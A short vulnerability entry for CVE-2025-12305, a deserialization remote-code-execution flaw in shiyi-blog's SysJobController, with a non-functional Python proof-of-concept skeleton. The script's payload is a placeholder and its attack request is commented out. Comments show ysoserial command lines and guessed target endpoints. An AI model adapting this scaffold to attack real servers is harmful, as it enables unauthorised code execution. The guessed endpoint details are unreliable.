CVE-2025-12305 shiyi-blog SysJobController反序列化远程代码执行漏洞

import pickle import base64 import requests # CVE-2025-12305 PoC - shiyi-blog Deserialization RCE # This is a conceptual PoC for educational purposes only # Note: Actual exploitation requires identifying the specific gadget chain # and the vulnerable deserialization point in SysJobController.java def generate_malicious_payload(gadget_chain='commons-collections'): """ Generate malicious serialized payload using ysoserial concept gadget_chain: commons-collections, spring-aop, etc. """ # In real scenario, use ysoserial tool: # java -jar ysoserial.jar [gadget-chain] 'command' # Example: java -jar ysoserial.jar CommonsCollections6 'touch /tmp/pwned' # This is a placeholder - actual payload generation requires: # 1. ysoserial tool # 2. Identification of available gadget chains in the application # 3. Specific target endpoint in SysJobController # Example command to generate payload: # payload = subprocess.check_output([ # 'java', '-jar', 'ysoserial.jar', gadget_chain, 'whoami' # ]) return b'MALICIOUS_SERIALIZED_DATA_PLACEHOLDER' def exploit_target(target_url, payload): """ Send malicious payload to vulnerable endpoint """ # Target endpoint typically in Job Handler: # /api/job/execute or similar endpoint in SysJobController headers = { 'Content-Type': 'application/x-java-serialized-object', 'User-Agent': 'Mozilla/5.0' } try: # Example POST request to trigger deserialization # response = requests.post( # f'{target_url}/api/sysjob/execute', # data=payload, # headers=headers, # timeout=10 # ) pass except requests.exceptions.RequestException as e: print(f'Request failed: {e}') if __name__ == '__main__': # Usage example: # target = 'http://vulnerable-server:8080' # payload = generate_malicious_payload('commons-collections6') # exploit_target(target, payload) print('PoC for CVE-2025-12305 - shiyi-blog Deserialization RCE') print('Use ysoserial to generate actual payload')